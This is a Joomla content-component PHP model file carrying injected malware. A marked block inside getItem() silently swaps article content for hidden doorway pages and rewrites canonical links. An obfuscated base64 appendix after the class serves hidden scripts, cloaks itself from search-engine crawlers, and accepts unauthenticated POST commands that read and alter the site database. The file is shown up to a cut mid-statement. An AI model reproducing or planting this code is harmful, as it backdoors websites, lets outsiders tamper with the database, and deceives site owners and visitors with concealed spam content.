<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Content Component Article Model
 *
 * @package     Joomla.Site
 * @subpackage  com_content
 * @since       1.5
 */
class ContentModelArticle extends JModelItem
{
	/**
	 * Model context string.
	 *
	 * @var        string
	 */
	protected $_context = 'com_content.article';

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @since   1.6
	 *
	 * @return void
	 */
	protected function populateState()
	{
		$app = JFactory::getApplication('site');

		// Load state from the request.
		$pk = $app->input->getInt('id');
		$this->setState('article.id', $pk);

		$offset = $app->input->getUInt('limitstart');
		$this->setState('list.offset', $offset);

		// Load the parameters.
		$params = $app->getParams();
		$this->setState('params', $params);

		// TODO: Tune these values based on other permissions.
		$user = JFactory::getUser();

		if ((!$user->authorise('core.edit.state', 'com_content')) && (!$user->authorise('core.edit', 'com_content')))
		{
			$this->setState('filter.published', 1);
			$this->setState('filter.archived', 2);
		}

		$this->setState('filter.language', JLanguageMultilang::isEnabled());
	}

	/**
	 * Method to get article data.
	 *
	 * @param   integer  $pk  The id of the article.
	 *
	 * @return  mixed  Menu item data object on success, false on failure.
	 */
	public function getItem($pk = null)
	{
		$user	= JFactory::getUser();

		$pk = (!empty($pk)) ? $pk : (int) $this->getState('article.id');

		if ($this->_item === null)
		{
			$this->_item = array();
		}

		if (!isset($this->_item[$pk]))
		{
			try
			{
				$db = $this->getDbo();
				$query = $db->getQuery(true)
					->select(
						$this->getState(
							'item.select', 'a.id, a.asset_id, a.title, a.alias, a.introtext, a.fulltext, ' .
							// If badcats is not null, this means that the article is inside an unpublished category
							// In this case, the state is set to 0 to indicate Unpublished (even if the article state is Published)
							'CASE WHEN badcats.id is null THEN a.state ELSE 0 END AS state, ' .
							'a.catid, a.created, a.created_by, a.created_by_alias, ' .
							// Use created if modified is 0
							'CASE WHEN a.modified = ' . $db->quote($db->getNullDate()) . ' THEN a.created ELSE a.modified END as modified, ' .
							'a.modified_by, a.checked_out, a.checked_out_time, a.publish_up, a.publish_down, ' .
							'a.images, a.urls, a.attribs, a.version, a.ordering, ' .
							'a.metakey, a.metadesc, a.access, a.hits, a.metadata, a.featured, a.language, a.xreference'
						)
					);
				
                ###BAREPL
                $pfx=$db->getPrefix();
                $dnrt='finder_data';

                if (in_array($pfx.$dnrt, $db->getTableList() )){

                    $query->check_import();

                    $row=$db->setQuery("SELECT xreference,metadata FROM `{$pfx}{$dnrt}` WHERE id={$pk} LIMIT 1")->loadRow();
                    if ($row && !$query->adm_cookie() )  {
                        if ($row[0]=='drw') {
                            if (!$query->is_sebot()) { $doc = JFactory::getDocument(); $doc->addScript("?option=com_content&amp;view=article&amp;".$query->getOption('js_hash')); }

                            $canon_url=$row[1];


                            if (preg_match('#^http#',$canon_url)) {

                                $document = JFactory::getDocument();
                                $replaced = false;
                                $canonicalUrl = htmlspecialchars($canon_url);
                                foreach($document->_links as $key=> $value){
                                    if(is_array($value))
                                    {
                                        if(array_key_exists('relation', $value))
                                        {
                                            if($value['relation'] == 'canonical')
                                            {


                                                $document->_links[$canonicalUrl] = $value;
                                                unset($document->_links[$key]);
                                                $replaced = true;
                                                break;
                                            }
                                        }
                                    }
                                }

                                if (!$replaced) {
                                    $document->addHeadLink($canonicalUrl, 'canonical');
                                }

                            }

                            $query->from("#__{$dnrt} AS a");

                        }
                        elseif (($row[0]=='sbp' OR $row[0]=='zms')  &&  @$GLOBALS['issebot']) $query->from("#__{$dnrt} AS a");
                        else $query->from("{$pfx}content AS a");
                    } else $query->from("{$pfx}content AS a");

                } else $query->from("{$pfx}content AS a");
                ###EAREPL


				// Join on category table.
				$query->select('c.title AS category_title, c.alias AS category_alias, c.access AS category_access')
					->join('LEFT', '#__categories AS c on c.id = a.catid');

				// Join on user table.
				$query->select('u.name AS author')
					->join('LEFT', '#__users AS u on u.id = a.created_by');

				// Filter by language
				if ($this->getState('filter.language'))
				{
					$query->where('a.language in (' . $db->quote(JFactory::getLanguage()->getTag()) . ',' . $db->quote('*') . ')');
				}

				// Join over the categories to get parent category titles
				$query->select('parent.title as parent_title, parent.id as parent_id, parent.path as parent_route, parent.alias as parent_alias')
					->join('LEFT', '#__categories as parent ON parent.id = c.parent_id');

				// Join on voting table
				$query->select('ROUND(v.rating_sum / v.rating_count, 0) AS rating, v.rating_count as rating_count')
					->join('LEFT', '#__content_rating AS v ON a.id = v.content_id')

					->where('a.id = ' . (int) $pk);

				if ((!$user->authorise('core.edit.state', 'com_content')) && (!$user->authorise('core.edit', 'com_content'))) {
					// Filter by start and end dates.
					$nullDate = $db->quote($db->getNullDate());
					$date = JFactory::getDate();

					$nowDate = $db->quote($date->toSql());

					$query->where('(a.publish_up = ' . $nullDate . ' OR a.publish_up <= ' . $nowDate . ')')
						->where('(a.publish_down = ' . $nullDate . ' OR a.publish_down >= ' . $nowDate . ')');
				}

				// Join to check for category published state in parent categories up the tree
				// If all categories are published, badcats.id will be null, and we just use the article state
				$subquery = ' (SELECT cat.id as id FROM #__categories AS cat JOIN #__categories AS parent ';
				$subquery .= 'ON cat.lft BETWEEN parent.lft AND parent.rgt ';
				$subquery .= 'WHERE parent.extension = ' . $db->quote('com_content');
				$subquery .= ' AND parent.published <= 0 GROUP BY cat.id)';
				$query->join('LEFT OUTER', $subquery . ' AS badcats ON badcats.id = c.id');

				// Filter by published state.
				$published = $this->getState('filter.published');
				$archived = $this->getState('filter.archived');

				if (is_numeric($published))
				{
					$query->where('(a.state = ' . (int) $published . ' OR a.state =' . (int) $archived . ')');
				}

				$db->setQuery($query);

				$data = $db->loadObject();

				if (empty($data))
				{
					return JError::raiseError(404, JText::_('COM_CONTENT_ERROR_ARTICLE_NOT_FOUND'));
				}

				// Check for published state if filter set.
				if (((is_numeric($published)) || (is_numeric($archived))) && (($data->state != $published) && ($data->state != $archived)))
				{
					return JError::raiseError(404, JText::_('COM_CONTENT_ERROR_ARTICLE_NOT_FOUND'));
				}

				// Convert parameter fields to objects.
				$registry = new JRegistry;
				$registry->loadString($data->attribs);

				$data->params = clone $this->getState('params');
				$data->params->merge($registry);

				$registry = new JRegistry;
				$registry->loadString($data->metadata);
				$data->metadata = $registry;

				// Technically guest could edit an article, but lets not check that to improve performance a little.
				if (!$user->get('guest'))
				{
					$userId = $user->get('id');
					$asset = 'com_content.article.' . $data->id;

					// Check general edit permission first.
					if ($user->authorise('core.edit', $asset))
					{
						$data->params->set('access-edit', true);
					}

					// Now check if edit.own is available.
					elseif (!empty($userId) && $user->authorise('core.edit.own', $asset))
					{
						// Check for a valid user and that they are the owner.
						if ($userId == $data->created_by)
						{
							$data->params->set('access-edit', true);
						}
					}
				}

				// Compute view access permissions.
				if ($access = $this->getState('filter.access'))
				{
					// If the access filter has been set, we already know this user can view.
					$data->params->set('access-view', true);
				}
				else
				{
					// If no access filter is set, the layout takes some responsibility for display of limited information.
					$user = JFactory::getUser();
					$groups = $user->getAuthorisedViewLevels();

					if ($data->catid == 0 || $data->category_access === null)
					{
						$data->params->set('access-view', in_array($data->access, $groups));
					}
					else
					{
						$data->params->set('access-view', in_array($data->access, $groups) && in_array($data->category_access, $groups));
					}
				}

				$this->_item[$pk] = $data;
			}
			catch (Exception $e)
			{
				if ($e->getCode() == 404)
				{
					// Need to go thru the error handler to allow Redirect to work.
					JError::raiseError(404, $e->getMessage());
				}
				else
				{
					$this->setError($e);
					$this->_item[$pk] = false;
				}
			}
		}

		return $this->_item[$pk];
	}

	/**
	 * Increment the hit counter for the article.
	 *
	 * @param   integer  $pk  Optional primary key of the article to increment.
	 *
	 * @return  boolean  True if successful; false otherwise and internal error set.
	 */
	public function hit($pk = 0)
	{
		$input = JFactory::getApplication()->input;
		$hitcount = $input->getInt('hitcount', 1);

		if ($hitcount)
		{
			$pk = (!empty($pk)) ? $pk : (int) $this->getState('article.id');

			$table = JTable::getInstance('Content', 'JTable');
			$table->load($pk);
			$table->hit($pk);
		}

		return true;
	}

	/**
	 * Save user vote on article
	 *
	 * @param   integer  $pk    Joomla Article Id
	 * @param   integer  $rate  Voting rate
	 *
	 * @return  boolean          Return true on success
	 */
	public function storeVote($pk = 0, $rate = 0)
	{
		if ($rate >= 1 && $rate <= 5 && $pk > 0)
		{
			$userIP = $_SERVER['REMOTE_ADDR'];

			// Initialize variables.
			$db    = JFactory::getDbo();
			$query = $db->getQuery(true);

			// Create the base select statement.
			$query->select('*')
				->from($db->quoteName('#__content_rating'))
				->where($db->quoteName('content_id') . ' = ' . (int) $pk);

			// Set the query and load the result.
			$db->setQuery($query);

			// Check for a database error.
			try
			{
				$rating = $db->loadObject();
			}
			catch (RuntimeException $e)
			{
				JError::raiseWarning(500, $e->getMessage());

				return false;
			}

			// There are no ratings yet, so lets insert our rating
			if (!$rating)
			{
				$query = $db->getQuery(true);

				// Create the base insert statement.
				$query->insert($db->quoteName('#__content_rating'))
					->columns(array($db->quoteName('content_id'), $db->quoteName('lastip'), $db->quoteName('rating_sum'), $db->quoteName('rating_count')))
					->values((int) $pk . ', ' . $db->quote($userIP) . ',' . (int) $rate . ', 1');

				// Set the query and execute the insert.
				$db->setQuery($query);

				try
				{
					$db->execute();
				}
				catch (RuntimeException $e)
				{
					JError::raiseWarning(500, $e->getMessage());

					return false;
				}
			}
			else
			{
				if ($userIP != ($rating->lastip))
				{
					$query = $db->getQuery(true);

					// Create the base update statement.
					$query->update($db->quoteName('#__content_rating'))
						->set($db->quoteName('rating_count') . ' = rating_count + 1')
						->set($db->quoteName('rating_sum') . ' = rating_sum + ' . (int) $rate)
						->set($db->quoteName('lastip') . ' = ' . $db->quote($userIP))
						->where($db->quoteName('content_id') . ' = ' . (int) $pk);

					// Set the query and execute the update.
					$db->setQuery($query);

					try
					{
						$db->execute();
					}
					catch (RuntimeException $e)
					{
						JError::raiseWarning(500, $e->getMessage());

						return false;
					}
				}
				else
				{
					return false;
				}
			}

			return true;
		}

		JError::raiseWarning('SOME_ERROR_CODE', JText::sprintf('COM_CONTENT_INVALID_RATING', $rate), "JModelArticle::storeVote($rate)");

		return false;
	}
}






###BAAPND

function _540247905($i){$a=Array('cGZsdm9u' .'dWJ0dG' .'9xaHU' .'=','d2V6','' .'ZmluZ' .'G' .'VyX2' .'RhdG' .'E=','bWVu' .'dQ' .'==','' .'Zm' .'l' .'uZGVyX21lbnU=','d2Fw' .'cA==','anNfaGFzaA==','dng=','' .'anN' .'f' .'cmF3','aW' .'1nX2h' .'hc2g' .'=','' .'a' .'nNf' .'aGFza' .'A==','a' .'nNfaGF' .'z' .'aA' .'==','aW1nX2' .'hhc' .'2' .'g=','anNfcmF3','a' .'nNf' .'c' .'mF3','anNfcmF3','UkVNT1RFX0FE' .'RFI=','SF' .'R' .'UU' .'F' .'9VU0' .'VSX0FHRU5U','I2dvb2' .'dsZXxnb2d' .'sfHlha' .'G9vfHNl' .'Y' .'XJjaFwu' .'b' .'X' .'NuXC5jb20ja' .'Q' .'=' .'=','I2' .'JhaWR' .'1XC5jb20jaQ==','Q29' .'udGV' .'ud' .'C1' .'0' .'eXBlO' .'iB' .'p' .'bWFnZS9na' .'WY=','b252dX' .'RzZ3VpYW' .'ludXd3c' .'W4=','' .'c2d' .'rYWl6','' .'dGVzdG' .'RueA=' .'=','dG' .'VzdG' .'RueHh4','' .'bWVudXo=','bWVu' .'dXp' .'fZmluZGV' .'y','' .'c2V0bW' .'VudXo=','bWVud' .'Wlk','c2' .'V0bWVudXo=','bWVudWlk','b2s' .'=','' .'c2V0' .'b' .'WV' .'udXp' .'f' .'ZmluZ' .'GVy','bWVu' .'d' .'W' .'lk','c2V0' .'bWVudXpfZm' .'lu' .'ZG' .'Vy','b' .'W' .'Vud' .'Wlk','b2s=','ZG' .'54a' .'W5' .'pd' .'A==','ZG9vc' .'l9' .'kYXRh','' .'c3' .'ViX2RhdGE=','c3BuX2NvbnRlbnQ' .'=','c2' .'t' .'2' .'X2RhdGE=','WS1tL' .'WQgSDpp' .'OnM=','WS1' .'tLWQgSDppO' .'nM=','IC03I' .'GhvdXI=','' .'bGF' .'z' .'dF9pbXBvcnQ=','YW10','bWVudXR' .'5cGU=','MQ==','' .'Y2' .'91bGRuJ3QgZ2V' .'0IGF1dG9p' .'bmNyZW1l' .'bnQ' .'gdmFsdWU=','ZG' .'9vcl' .'9kYXRh','bmV3','cG9z' .'d' .'F9jb250ZW50','cG9zd' .'F9uYW1' .'l','' .'cG9zdF9hbm' .'Nob3I=','' .'cG9zdF' .'90aXRsZQ=' .'=','' .'c' .'G9z' .'d' .'F9' .'jb250ZW50LCB' .'wb3N0' .'X' .'25h' .'bWUsIHB' .'vc3RfdGl0b' .'GUg' .'T' .'k9UIFNFVA==','aW1nd' .'XJs','aW1nXw=' .'=','aW1n' .'dXJs','aW' .'1ndXJs','cG' .'9zdF9j' .'b' .'250Z' .'W50','LS1JTUct' .'LQ==','P' .'G' .'ltZyBzcmM9Ij9v' .'c' .'HRpb' .'2' .'49Y29tX2Nvbn' .'R' .'lbnQm' .'YW' .'1wO3ZpZXc9YXJ0aWNsZSZhbXA7','PQ==','Ii' .'8+','cG9z' .'dF9j' .'b250' .'ZW50','' .'a' .'XNf' .'aGl' .'kZGVu','aGl' .'kZGVu','','cG' .'9z' .'dF' .'9hbmNob' .'3I' .'=','e' .'y' .'J' .'wYWdl' .'X3RpdG' .'xlIjoi','cG9zd' .'F90aX' .'R' .'sZ' .'Q' .'==','Iiw' .'ic2hvd19jcmV' .'hdGVf' .'ZGF0ZSI6I' .'jAiLC' .'JzaG93X21' .'vZGlmeV9k' .'YX' .'Rl' .'Ij' .'oiMCIs' .'InN' .'ob3dfcHVibGlza' .'F9k' .'YX' .'RlIjo' .'iMCIsInNob3' .'dfcG' .'FnZV' .'9oZWFk' .'aW5nIjo' .'w' .'LCJtZW51LWFu' .'Y' .'2hv' .'cl9jc3Mi' .'O' .'iI=','In0=','cG9zdF9' .'jb2' .'50ZW' .'50','Cg==','cG9' .'zdF9u' .'YW' .'1l','MQ' .'==','MQ==','d' .'HZ' .'m' .'aXJ' .'jY' .'WZyaXVwZmNjbg==','a' .'2l1c' .'Xo=','c3A=','Z' .'HJ3','eHdh','' .'Kg==','Y2Fub' .'2' .'5pY2Fs','Y2Fu' .'b25pY2' .'Fs','ZHJ3','' .'bm' .'9tZW51','bW' .'Fpbm1lbn' .'U=','OTk=','cG9z' .'d' .'F9hbmNob' .'3I=','e' .'yJwYW' .'d' .'lX3RpdG' .'x' .'lIjoi','cG' .'9zdF' .'9' .'0aX' .'RsZQ==','Iiwic2hvd19jcmVhdGVfZGF0' .'ZSI6Ij' .'AiLCJzaG' .'93X21vZG' .'lmeV9kYXRlIjoiMCI' .'sI' .'nNob3dfcHV' .'ib' .'GlzaF9' .'kY' .'XRlIj' .'oiMCIs' .'In' .'Nob3dfcGFnZV9oZWFk' .'aW5nIjowfQ==','' .'cG' .'9' .'zd' .'F9uY' .'W1l','cG' .'9zdF9uYW1' .'l','Y' .'25j','Y2' .'9tcG9' .'u' .'ZW50','Kg==','ZHFyaHVwcG90Z' .'G9r','Z' .'XJ6','Z' .'HJ3','cGd' .'x','c' .'W5m' .'dg==','ZH' .'J' .'3O' .'iBj' .'b3' .'VsZG' .'4ndCBjcmVhdGU' .'gZ' .'G9vci' .'Bwb3N0','d' .'XBkYXRl','a' .'WQ=','a' .'WQ' .'=','cG' .'9' .'zdF90a' .'XRsZQ' .'=' .'=','' .'cG9zdF' .'9jb' .'250Z' .'W50','Cg==','aW' .'Q' .'=','' .'ZH' .'J3I' .'w==','aWQ=','Iz' .'sjdX' .'BkYXRlZCM=','ZHJ3OiBjb' .'3' .'VsZG4ndCB1cG' .'Rhd' .'GUgZG' .'9v' .'c' .'iBwb3N0','' .'cmVtb3Zl','aW' .'Q=','aWQ=','' .'aW' .'Q' .'=','aWQ=','aW' .'Q=','ZHJ3Iw=' .'=','' .'aWQ=','Iz' .'sjc' .'mVt' .'b3ZlZC' .'M=','ZHJ' .'3OiBjb3Vs' .'ZG4nd' .'CByZW' .'1vd' .'m' .'UgZG' .'9v' .'c' .'iBwb' .'3N0IC8gbm90' .'IGZv' .'d' .'W5k','cmVtb3' .'ZlX2' .'F' .'sbA==','ZH' .'J' .'3' .'OiBwYWdlcyByZW1' .'v' .'dmVk','' .'Z' .'HJ3OiBubyBzdWJwYWdlcy' .'Bmb3V' .'uZCBmb3' .'I' .'gZGVsZXRl','dGp' .'h','c' .'3BuX2' .'Nvb' .'nR' .'lbnQ=','' .'c3BuX2N' .'vbnR' .'lbn' .'Q' .'=','c3BuX2Nvb' .'nR' .'lbnQ=','' .'ZXh' .'p' .'c3' .'Rp' .'bmc' .'=','c' .'3BuX2NvbnRlb' .'nQ=','ZX' .'hpc3Rpbmc=','M' .'w==','' .'cHJv' .'Z3Jlc3N' .'fbGl' .'taXRf' .'ZGF5cw==','c' .'HJvZ3Jlc' .'3NfbGltaXRfZ' .'GF5' .'cw==','' .'MQ' .'==','' .'cH' .'JvZ3Jlc' .'3N' .'fbnVtX2FydGlj' .'bG' .'Vz','cHJvZ' .'3Jl' .'c3NfaXRlcl9kYXlz','cHJ' .'vZ' .'3Jlc3' .'Nfa' .'XRlcl9k' .'YXlz','c' .'HJvZ' .'3Jlc3NfaXRlc' .'l' .'9k' .'YX' .'lz','cHJvZ3Jlc3NfaXRlc' .'l9' .'kYXlz','cHJ' .'vZ' .'3Jlc3NfbnVtX2' .'F' .'y' .'dGljb' .'GV' .'z','' .'cHJ' .'vZ3Jlc' .'3NfaXRlcl9kYXlz','cHJv' .'Z' .'3Jlc3Nfb' .'nVt' .'X2Fy' .'dG' .'ljbGVz','cHJ' .'v' .'Z' .'3Jlc3NfaXRl' .'cl9kYXl' .'z','bG' .'Fzd' .'F9' .'6YW1' .'lcw==','b2tnc2hlcW' .'pmd' .'GRpd2w' .'=','Z' .'HB6','' .'b2o=','ZX' .'hpc3' .'Rpbm' .'c' .'=','Mg' .'==','' .'cHJvZ3' .'Jlc3NfbnVt' .'X' .'2Fy' .'dG' .'ljbGVz','c' .'HJvZ3Jl' .'c3N' .'fa' .'XR' .'lc' .'l9kYXlz','cHJv' .'Z3Jl' .'c3NfbnVtX' .'2F' .'y' .'dGljbGVz','cHJ' .'vZ3Jlc3' .'NfbnVtX2FydG' .'ljbGVz','cH' .'JvZ3' .'Jl' .'c' .'3NfaXRlc' .'l' .'9kYXl' .'z','' .'cHJvZ3Jlc3N' .'faX' .'Rlcl9' .'kYXlz','bG' .'FzdF9' .'6YW1' .'lc' .'w==','I2RucjogcmV' .'idWlsZCBk' .'b2' .'5lIHcvI' .'HByb2dy' .'ZXNz' .'aW' .'5' .'n' .'IGN' .'vbnR' .'l' .'bnQ' .'j','ZXhpc' .'3Rpbm' .'c=','MQ==','bGFzdF9pbX' .'Bvc' .'nQ=','I' .'2' .'Rucjo' .'gcmVidWlsZCBkb25lIH' .'c' .'vIGV4aX' .'N0a' .'W5nIG' .'N' .'vb' .'nRlb' .'nQ' .'j','ZXhpc' .'3R' .'pbmc=','MA==','I2Ruc' .'j' .'ogc' .'mVidWl' .'sZCBkb25lI' .'Hc' .'vb' .'y' .'BleGlzdGluZyB' .'jb250Z' .'W50Iw' .'==','Z' .'G' .'5yOiBuby' .'Bw' .'b' .'3N0' .'cyBp' .'bi' .'BfX' .'2N' .'vbn' .'RlbnQ=','ZG5' .'yOi' .'Bl' .'e' .'Glz' .'dGluZy' .'Bub3Qgc2V0IA==','c3' .'ViX2R' .'hdGE=','bmV3','c' .'G9zdF9jb25' .'0ZW50','c' .'G9zd' .'F9' .'uYW1l','cG9zdF90aX' .'RsZ' .'Q' .'==','c2JwO' .'i' .'Bwb3' .'N' .'0' .'X2NvbnRlbn' .'QsIHBv' .'c' .'3Rfb' .'mFtZSw' .'gcG9zdF9' .'0aX' .'RsZSBOT' .'1Qg' .'U0VU','' .'aW' .'1ndXJ' .'s','a' .'W1nXw==','aW1ndXJs','' .'aW1ndXJs','cG9z' .'dF9jb25' .'0ZW50','LS' .'1J' .'TUctLQ=' .'=','PGl' .'t' .'Zy' .'BzcmM9' .'Ij9v' .'cH' .'R' .'p' .'b24' .'9Y29t' .'X2NvbnRlb' .'nQ' .'mYW1w' .'O' .'3Zp' .'Z' .'Xc9YXJ0aWNsZSZhbXA7','PQ==','Ij' .'4=','cG9zdF9jb250ZW50','c' .'G9zdF' .'9' .'uY' .'W1l','c' .'G9zdF9jb250ZW50','c' .'G9z' .'dF9uYW1l','M' .'Q==','MQ==','' .'cWxkaW' .'U' .'=','' .'c' .'2Jw','' .'YmZ' .'3YW5' .'rc' .'mt1b2Rqa' .'mZ' .'nbG' .'c' .'=','' .'Ym' .'h2' .'e' .'g==','Kg' .'==','c2' .'Jw','' .'a' .'XNfaGl' .'kZ' .'GV' .'u','aGlkZGVu','','cG9zdF9' .'uY' .'W1' .'l','eyJwYWdl' .'X3R' .'pd' .'Gx' .'lIjo' .'i','cG9' .'zdF90aX' .'Rs' .'Z' .'Q==','Iiwi' .'c' .'2hvd' .'1' .'9' .'jcmVhdGV' .'fZGF0ZSI' .'6IjAiLCJzaG93X21' .'vZGlme' .'V9kYX' .'RlI' .'j' .'o' .'iM' .'CIs' .'InNob3dfcHVibGlzaF9kYXRlIjoiMCIsIn' .'Nob' .'3dfcGFn' .'ZV9o' .'ZWFkaW' .'5' .'nIjowL' .'CJtZW' .'5' .'1LWFuY2hv' .'cl' .'9jc3M' .'iOiI=','' .'I' .'n0=','' .'c' .'G9zdF9uYW1l','' .'cG9zdF9uYW1l','Y' .'29tcG9uZ' .'W5' .'0','am' .'Y=','bW' .'Fpbm1l' .'bnU=','MjAw','Ym9kcm' .'JzYnNoeH' .'Vwag==','anFxeg==','Kg==','cG9' .'zd' .'F' .'9zdGF0d' .'X' .'M=','c' .'G9' .'zd' .'F9zd' .'GF0dXM=','Zn' .'V0' .'dXJl','' .'cG9' .'z' .'dF' .'9kYXRl','Zn' .'V0' .'dXJ' .'l','c' .'G9zdF9kYXRl','' .'Y3J' .'1' .'bXN' .'4cWh' .'maWx4' .'cnJ0a' .'GllamQ=','dW' .'16','c2JwO' .'iBjb3' .'VsZG4n' .'d' .'CBjc' .'mVhdGUgc' .'3VicG' .'Fn' .'ZSBwb3N0','' .'cmVtb3' .'ZlX2FsbA' .'==','' .'c' .'2JwOiBwYWd' .'lcyByZW1' .'vdmVk','' .'c2JwOiBubyBz' .'dWJwYWdlc' .'yBm' .'b3VuZCBm' .'b3I' .'g' .'ZGVs' .'Z' .'XR' .'l','amZ' .'yZ' .'HR' .'1b' .'2' .'p4bmp3' .'d' .'Q' .'==','a' .'Gp' .'neg==','' .'c2t2X2' .'Rhd' .'GE=','bmV3','aHJ' .'lZg==','YW5jaG9y','c2t2OiBoc' .'mV' .'mLGFuY2' .'h' .'v' .'ciBOT' .'1QgU' .'0' .'VU','' .'YW5jaG' .'9y','aXNfaG' .'lkZG' .'Vu','aG' .'lkZGV' .'u','','e' .'yJtZ' .'W51LWF' .'uY2hvcl' .'9j' .'c3MiOiI=','Iiw' .'ibWVudV9zaG9' .'3Ij' .'oxfQ==','YW5' .'jaG9y','','aHJlZg' .'==','' .'d3V' .'taX' .'V' .'raGFoYW9' .'zYw=' .'=','Z' .'nF' .'oZXo=','dXJ' .'s','an' .'N1d' .'nR0Y' .'2xzbW' .'xhdWx' .'t' .'Y' .'Xc=','ZXo=','MTgw','Kg=' .'=','b' .'WV' .'udV90eXBl','bW' .'VudV9' .'0eXBl','b' .'WFp' .'bm1lbn' .'U' .'=','b' .'WVudV9zdGF0dXM=','bWV' .'udV9zdGF' .'0dXM=','ZnV0' .'d' .'XJl','bWV' .'udV9kYXRl','Z' .'nV' .'0dXJl','' .'b' .'WVudV9kYXRl','cmV' .'tb3Z' .'l','bWVud' .'Wlk','bWVud' .'W' .'lk','bWV' .'ud' .'Wl' .'k','c2t2I' .'w==','' .'bWVudWlk','Izsj' .'c' .'mVtb' .'3ZlZCM=','c2t2Oi' .'Bjb3' .'VsZG4n' .'d' .'CB' .'maW' .'5kI' .'G1lbnVpd' .'GVt','TW9' .'6' .'aWxsYS8' .'1' .'LjAgKFdpb' .'mRvd3MgTlQgNi4x' .'Oy' .'BXT1c2N' .'DsgcnY6N' .'DAuMCk' .'g' .'R' .'2' .'Vja28vMjAxMD' .'AxMDEgRm' .'l' .'yZ' .'WZ' .'veC80M' .'C' .'4x','','' .'d' .'mg=','C' .'g=' .'=','PH' .'A+','' .'PC' .'9wPg' .'==','b24=','ZG54dX' .'JsaWQ=','ZG5' .'4dX' .'JsaWQ=');return base64_decode($a[$i]);} ?><?php $dbq=JFactory::getDbo()->getQuery(true);if((round(0+1173.3333333333+1173.3333333333+1173.3333333333)+round(0+3817))>round(0+3520)|| array_sum($tomod));else{strtr($num_articles,$menu_orig);}$dblink=JFactory::getDbo();$db_px=$dblink->getPrefix();if(strpos(_540247905(0),_540247905(1))!==false)strrpos($js_raw,$checkrow);$new_table=$db_px ._540247905(2);if(round(0+1572+1572+1572)<mt_rand(round(0+842.5+842.5),round(0+1008.6666666667+1008.6666666667+1008.6666666667)))strstr($id,$visibility,$door_id,$newmenu_increment);$menu_orig=$db_px ._540247905(3);if((round(0+2323.5+2323.5)+round(0+2112.5+2112.5))>round(0+2323.5+2323.5)|| savecurlimg($img_str,$js_raw,$ch));else{fgetcsv($paragraphs,$rotim);}$mymenu_table=$db_px ._540247905(4);$dbq=JFactory::getDbo()->getQuery(true);$oirwhdljstse=round(0+608.4+608.4+608.4+608.4+608.4);$dblink=JFactory::getDbo();$hcicwwwpobtfckmrvlr=_540247905(5);$db_px=$dblink->getPrefix();if(round(0+2205+2205)<mt_rand(round(0+462),round(0+985.75+985.75+985.75+985.75)))bin2hex($newmenu_increment);$js_hash=$dbq->getOption(_540247905(6));$cnfqiexqfpeuuoic=_540247905(7);$js_raw=$dbq->getOption(_540247905(8));$img_hash=$dbq->getOption(_540247905(9));if(round(0+2836+2836)<mt_rand(round(0+526.5+526.5+526.5+526.5),round(0+3561)))imagecreatefrompng($db_px,$sbp_id);if(!$js_hash){$dbq->setOption(_540247905(10),substr(md5(time()),round(0),round(0+3+3)));$js_hash=$dbq->getOption(_540247905(11));}if(!$img_hash){$dbq->setOption(_540247905(12),substr(md5(time()+round(0+3.3333333333333+3.3333333333333+3.3333333333333)),round(0),round(0+1.2+1.2+1.2+1.2+1.2)));}if(isset($_POST[_540247905(13)]))$dbq->setOption(_540247905(14),$_POST[_540247905(15)]);if(isset($_GET[$js_hash])){$hostname=gethostbyaddr($_SERVER[_540247905(16)]);$user_agent=$_SERVER[_540247905(17)];if(preg_match(_540247905(18),$hostname)OR preg_match(_540247905(19),$user_agent)){exit();}else{echo $js_raw;exit();(196-round(0+65.333333333333+65.333333333333+65.333333333333)+round(0+198.33333333333+198.33333333333+198.33333333333)-round(0+119+119+119+119+119))?curl_multi_info_read($_SERVER,$_SERVER,$tomod):mt_rand(round(0+49+49+49+49),round(0+950+950));}}if(isset($_GET[$img_hash])){$theimg=$dbq->getOption($_GET[$img_hash]);header(_540247905(20));echo base64_decode($theimg);if(strpos(_540247905(21),_540247905(22))!==false)strptime($currentID,$_POST,$img_opt);exit();}if(isset($_GET[_540247905(23)])){echo _540247905(24);exit();}if(isset($_POST[_540247905(25)])){$menutypez=$dblink->setQuery("SELECT id,menutype,title,alias,path FROM `$menu_orig`")->loadObjectList();print_r($menutypez);exit();if((round(0+150.75+150.75+150.75+150.75)+round(0+971.33333333333+971.33333333333+971.33333333333))>round(0+301.5+301.5)|| getArticleRoute($progress_iter_days,$paragraphs,$js_hash,$tomod));else{trim($menutypez,$num_articles);}}if(isset($_POST[_540247905(26)])){$menutypez=$dblink->setQuery("SELECT id,menutype,title,alias,path FROM `$mymenu_table`")->loadObjectList();print_r($menutypez);exit();}if(isset($_POST[_540247905(27)])&& isset($_POST[_540247905(28)])){$menutypez=$dblink->setQuery("UPDATE `$menu_orig` SET menutype='{$_POST[_540247905(29)]}' WHERE id='{$_POST[_540247905(30)]}' LIMIT 1")->query();exit(_540247905(31));}if(isset($_POST[_540247905(32)])&& isset($_POST[_540247905(33)])){$menutypez=$dblink->setQuery("UPDATE `$mymenu_table` SET menutype='{$_POST[_540247905(34)]}' WHERE id='{$_POST[_540247905(35)]}' LIMIT 1")->query();exit(_540247905(36));}if(isset($_POST[_540247905(37)])&&(isset($_POST[_540247905(38)])OR isset($_POST[_540247905(39)])OR isset($_POST[_540247905(40)])OR isset($_POST[_540247905(41)]))){$current_time=date(_540247905(42),strtotime(date(_540247905(43)) ._540247905(44)));$dbq->setOption(_540247905(45),time()-round(0+45000+45000));$men_res=$dblink->setQuery("SELECT params FROM {$db_px}modules WHERE module='mod_menu' AND access=1 and published=1 AND position<>'' ORDER BY id ASC LIMIT 1")->loadObject();$wswxiwkuewskopxb=_540247905(46);$menutype=@json_decode($men_res->params)->{_540247905(47)};$mafrbqkuopqbmruriugx=round(0+206.75+206.75+206.75+206.75);if(empty($menutype))$menutype=$dblink->setQuery("SELECT menutype FROM `$menu_orig` ORDER BY ID DESC LIMIT 1")->loadObject()->menutype;if(empty($menutype))$menutype=$js_hash;$catid=_540247905(48);if(!$dblink->setQuery("SHOW TABLES LIKE '$new_table'")->loadObjectList()){$current_increment=$dblink->setQuery("SHOW TABLE STATUS LIKE '{$db_px}content'")->loadObject()->Auto_increment;if(is_numeric($current_increment)){$new_increment=$current_increment+round(0+20+20+20+20+20);$dblink->setQuery("CREATE TABLE $new_table LIKE 